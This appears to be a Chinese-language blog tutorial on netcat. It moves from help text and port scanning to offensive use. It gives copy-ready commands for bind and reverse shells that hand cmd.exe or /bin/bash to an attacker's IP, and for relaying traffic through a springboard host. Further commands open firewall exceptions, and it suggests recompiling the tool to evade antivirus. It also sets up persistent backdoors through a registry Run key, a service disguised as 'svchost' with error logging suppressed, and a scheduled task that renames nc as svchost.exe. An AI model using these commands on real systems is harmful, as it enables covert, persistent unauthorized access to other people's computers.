首先来看下 所有的参数
windows netcat
>nc -h
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d 无命令行界面,使用后台模式 (only in windows)
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8 由发送者来选择怎么走的路由
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 端口之间延时设置,端口扫描时使用 nc -v -w 2 -z -i 4 -n 192.168.0.117 1-1024
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连) linux中-L参数用在隧道
-n 以数字形式表示的IP地址 ，不进行反向查询需要输入IP ， 如果不加-n的话 那么您需要输入域名或者IP（会进行反向解析IP到域名）
-o file 使进制记录 -p port 打开本地端口
-r 随机本地和远程的端口 不按照 从1024到1的端口顺序，随机的
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式 使用UDP一般配合使用 -w 连接超时设置
-v 显示详细信息 [使用=vv获取更详细的信息] -w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]
LINUX netcat
root@bt:/home# netcat -h
[v1.10-38]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!] (only in linux)
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-k set keepalive option on socket
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-q secs quit after EOF on stdin and delay of secs
-s addr local source address
-T tos set Type Of Service
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').基本使用
侦听本地端口(9999)
>nc -v -l -p 9999
客户端使用telnet命令或者使用 nc 命令都可以连接到9999
客户端输入 telnet ip1 9999 或者 nc -v ip1 9999 这样管道的输入输出就可以看到了 ， telnet 输入是实时发送数据的， netcat输入是回车发送数据
如果使用这个在端口中安装蜜罐的话 也是可以的 ，可以记录对方在这个端口的所有的输入
-e 参数
可以使用他来重定向一个程序给连接段，如果是入侵者的话，那么可以重定向一个病毒或者木马给他
命令:
> nc -vv -L -p 9999 -e cmd.exe (反弹cmd.exe这个可以换成其他的程序, 如果9999端口是非法入侵的，那么可以通过执行一个程序对对方进行攻击或者日志)
在msf攻击中成功后，payload选择 reverse_tcp 就是反弹一个shell。
反向连接 nc -t -e cmd.exe 127.0.0.1 80 反向连接可以骗过部分防火墙 80 端也可以骗过
Linux写法: nc -l -p 999 -e /bin/bash
扫描:
nc -vv -z -w 2 -n 192.168.1.104 1-1024(nc -vvzn -w 2 192.168.1.104 1-1024 ) 扫描目标主机192.68.1.104的 1-1024端口， 超时设置2秒
从1024 到 1 进行扫描
nc -v -z -w 3 192.168.0.117 21, 80, 135, 139, 445 （这样的写法要注意逗号后面有一个空格）
nc -v -z -w 3 192.168.0.117 http 直接写服务名称
(服务与端口对应： in /WINDOWS/system32
/drivers/etc/services. In Linux, the /etc/services file serves the same purpose. These files
are also the reference for using service names instead of port numbers.)
NC 做溢出攻击是使用
发送代码到溢出的地方 type 溢出代码文件 | nc -nvv 192.168.1.104 983 ( | 表示管道)
nc -L -p 80 > log80.log 蜜罐 日志重定向可以看到对方执行的命令,但是有个问题，如果对方知道了是这样的一个蜜罐的话，发大量的数据会不会导致硬盘慢呢
nc -L -p 80 >>log80.log追加日志
//读取dumpfile数据
nc –l –p 12345 < dumpfile 我测试了下 如果对方非法连接 ，dumpfile是一个很大的文件的话， 会直接让对方shell挂掉
//Redirecting Ports and Traffic
目标机器(target): nc -vv -L -p 54321
中间机器上执行(relay-跳板) : nc -vv -l -p 12345 |nc -vv -n 192.168.0.116 54321
入侵者电脑执行: nc -vv -n 192.168.0.107 12345
这样就通过192.168.0.107:12345 连接到了192.168.0.116 :54321
但是这样的作法有个问题 就是接受不到目标机器返回的信息，需要在目标机器上通过relay 在返回 入侵者机器
使用脚本扫描多个主机多个端口
建立3个文件 hostlist.txt, request.txt, scanner.sh
hostlist
192.168.0.1
192.168.0.66
192.168.0.117
request.txt
HEAD /HTTP/1.0 /n/nscanner.sh
for i in `cat hostlist.txt `;do
nc -q 2 -v -n $i 333-446 < request.txt
done
外部防火墙测试
拓扑图
System B 是在防火墙外部
设置本机的所有的端口转发到1234
iptables -t nat -A PREROUTING -i eht0 -p udp --dport 1:65535 -j REDIRECT --to-port 1234
iptables -t nat -A PREROUTING -i eht0 -p tcp--dport 1:65535 -j REDIRECT --to-port 1234
侦听1234端口
nc -u -l -p 1234
nc -l -p 1234
System A进行扫描
nc -vv -n 192.168.0.117 1-65535
绕过winxp,win2003 防火墙
XP防火墙阻止开发TCP/IP堆栈，监听incoming连接
//显示防火墙配置
netsh firewall show opmode
//显示例外
netsh firewall show portopening
//设置防火墙 开启，并且允许例外的
netsh firewall set opmode mode=enable exceptions = enable
//添加端口1234例外
netsh firewall add portopening TCP 1234 "my port" enable all
至此， 侦听1234端口就不会弹出警告
//NC反向连接
在本机(ip1)上执行 nc -vv -L -p 5555
在目标主机上执行 nc ip1 5555 -e cmd.exe
避开防火墙： nc ip1 5555 >> nc -e cmd.exe 这样 防火墙以为你在传输数据
win7,win2008请用 netsh advfirewall
参考资料：http://www.bitscn.com/os/windows/200803/132685_4.html
过杀软
1、重新编译NC
2、 调试，修改杀软的特性码
后门
1. 正向连接
拓扑:
victim host: nc -d -L -p 1234 -e cmd.exe
attack Sys: nc -d 192.168.0.116 1234
缺点： 如果别人扫描的话， 也可以连接上 Nessus 可以扫描到他是一个后门
2.正向连接
拓扑:
attach Sys: nc -v -L -p 1234
victim: nc -d 192.168.0.117 1234 -e cmd.exe
好处: 逃避过滤
后门执行方法
1.注册表
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d "c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe"
条件， 只要对开机启动加载启动注册表启动项有权限就可以
缺点： 断开后，需要等待对方再次重新启动才可以连接
2.windows service method trigger
sc create svchost binPath= "c:\windows\system32\cmd.exe /K start c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe" start= auto error= ignore
net start svchost
error= ignore 表示服务发生错误 不写到系统日志
好处： 启动 就可以连接，不需要登录， 注册表示需要登录的，后台自启动
为什么自启动后不能连接，需要使用 net start svchost呢?
3. 任务计划(Windows Task Scheduler)
查看任务计划: at
启动调度: net start schedule
time查看对方时间
当前时间: 11:26:54.89
输入新时间:
每天 11:30 启动
at 11:30:00 /every:m,t,w,th,f,s,su ""c:\windows\nc.exe -d 192.168.0.117 1234 -e cmd.exe""
注意修改名称
如改成： at 11:30:00 /every:m,t,w,th,f,s,su ""c:\windows\svchost.exe -d 192.168.0.117 1234 -e explorer.exe""
后门启动方法总结
下一节： http://blog.csdn.net/wuhualong1314/article/details/7758963
6823
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
